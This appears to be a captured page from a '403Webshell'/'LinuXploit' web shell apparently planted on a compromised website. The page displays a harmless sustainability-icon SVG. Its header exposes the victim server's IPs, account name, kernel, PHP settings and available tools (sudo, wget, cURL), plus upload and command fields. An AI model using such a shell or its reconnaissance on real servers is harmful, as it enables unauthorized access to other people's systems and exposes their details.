403Webshell
Server IP : 68.178.202.69  /  Your IP : 216.73.216.122
Web Server : Apache
System : Linux 69.202.178.68.host.secureserver.net 3.10.0-1160.139.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Nov 3 13:30:41 UTC 2025 x86_64
User : ikioworld ( 1005)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/ikioworld/public_html/assets/img/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/ikioworld/public_html/assets/img/Sustainability_Icons-02.svg
<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 24.3.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 viewBox="0 0 191.48 191.48" style="enable-background:new 0 0 191.48 191.48;" xml:space="preserve">
<style type="text/css">
	.st0{fill:#006838;}
	.st1{fill:#009345;}
	.st2{fill:#272D71;}
	.st3{fill:#01838F;}
	.st4{fill:#FFFFFF;}
</style>
<circle class="st1" cx="95.74" cy="95.74" r="95.74"/>
<g>
	<polygon class="st4" points="98.64,165.88 95.75,165.88 95.75,156.97 84.88,156.97 84.88,165.88 82.3,165.88 82.3,167.8 
		71.03,167.8 71.03,169.47 110.13,169.47 110.13,167.8 98.64,167.8 	"/>
	<polygon class="st4" points="87.34,110.97 87.34,117.07 85.2,117.07 85.2,118.89 95.74,118.89 95.74,117.07 93.34,117.07 
		93.34,110.97 	"/>
	<polygon class="st4" points="84.11,143.04 96.83,143.04 96.83,140.39 93.94,140.39 93.94,131.49 86.69,131.49 86.69,140.39 
		84.11,140.39 	"/>
	<polygon class="st4" points="84.11,130.64 96.83,130.64 96.83,128.14 93.94,128.14 93.94,119.74 86.69,119.74 86.69,128.14 
		84.11,128.14 	"/>
	<polygon class="st4" points="82.3,155.44 98.64,155.44 98.64,152.8 95.75,152.8 95.75,143.89 84.88,143.89 84.88,152.8 82.3,152.8 
			"/>
	<g>
		<path class="st4" d="M98.71,46.13c-2.28,0-3.61,2.17-3.61,5.07c0,2.92,1.37,4.98,3.63,4.98c2.28,0,3.59-2.17,3.59-5.07
			C102.32,48.43,101.03,46.13,98.71,46.13z"/>
		<path class="st4" d="M124.3,51.86c0-5.84-3.92-10.75-9.26-12.29c0.59-1.47,0.93-3.08,0.93-4.77c0-7.06-5.73-12.79-12.79-12.79
			c-5.05,0-9.41,2.94-11.49,7.19c-2.34-2.96-5.96-4.86-10.03-4.86c-7.06,0-12.79,5.73-12.79,12.79c0,2.95,1.01,5.65,2.68,7.82
			c-2.6,1.47-4.38,4.22-4.38,7.42c0,3.7,2.36,6.82,5.65,8.01c-2.37,1.51-3.95,4.15-3.95,7.18c0,3.51,2.12,6.51,5.14,7.82
			c-1.18,1.11-1.92,2.68-1.92,4.42c0,3.1,2.32,5.63,5.31,6.01c0,0.03-0.01,0.05-0.01,0.08c0,2.4,1.4,4.45,3.41,5.44
			c-0.02,0.22-0.07,0.43-0.07,0.65c0,1.12,0.32,2.15,0.84,3.05c-0.52,0.9-0.84,1.93-0.84,3.05c0,2.29,1.28,4.26,3.14,5.3
			c0.44,2.58,2.66,4.55,5.37,4.55h1.2c1.89,0,3.55-0.96,4.53-2.41c0.85-0.54,1.41-1.48,1.41-2.55c0-0.6-0.18-1.16-0.48-1.63v-0.85
			c0.85-1.04,1.38-2.34,1.38-3.78c0-0.33-0.05-0.64-0.1-0.95c0.95-1.06,1.55-2.45,1.55-3.99c0-0.11-0.03-0.2-0.03-0.31
			c1.3-1.1,2.15-2.73,2.15-4.57c0-0.58-0.11-1.13-0.26-1.66c1.08,1.02,2.52,1.66,4.13,1.66c3.32,0,6-2.69,6-6
			c0-1.51-0.58-2.88-1.5-3.94c0.73,0.2,1.49,0.35,2.29,0.35c4.71,0,8.52-3.82,8.52-8.52c0-2.22-0.87-4.23-2.27-5.75
			C121.66,60.82,124.3,56.65,124.3,51.86z M87.36,56.05c1.02,0,2.15-0.22,2.81-0.49l0.51,2.63c-0.62,0.31-2.01,0.64-3.83,0.64
			c-5.16,0-7.81-3.21-7.81-7.46c0-5.09,3.63-7.92,8.14-7.92c1.75,0,3.08,0.35,3.67,0.66l-0.69,2.68c-0.69-0.29-1.64-0.55-2.83-0.55
			c-2.68,0-4.76,1.62-4.76,4.94C82.58,54.17,84.35,56.05,87.36,56.05z M98.56,58.86c-4.43,0-7.02-3.34-7.02-7.59
			c0-4.47,2.85-7.81,7.26-7.81c4.58,0,7.08,3.43,7.08,7.55C105.88,55.89,102.92,58.86,98.56,58.86z M113.11,65.98h-5.94V64.8
			l1.08-0.98c1.83-1.64,2.72-2.58,2.75-3.56c0-0.68-0.41-1.22-1.38-1.22c-0.72,0-1.35,0.36-1.79,0.7l-0.55-1.41
			c0.63-0.48,1.61-0.86,2.74-0.86c1.9,0,2.94,1.11,2.94,2.63c0,1.4-1.02,2.53-2.23,3.61l-0.77,0.64v0.03h3.16V65.98z"/>
	</g>
</g>
</svg>

Youez - 2016 - github.com/yon3zu
LinuXploit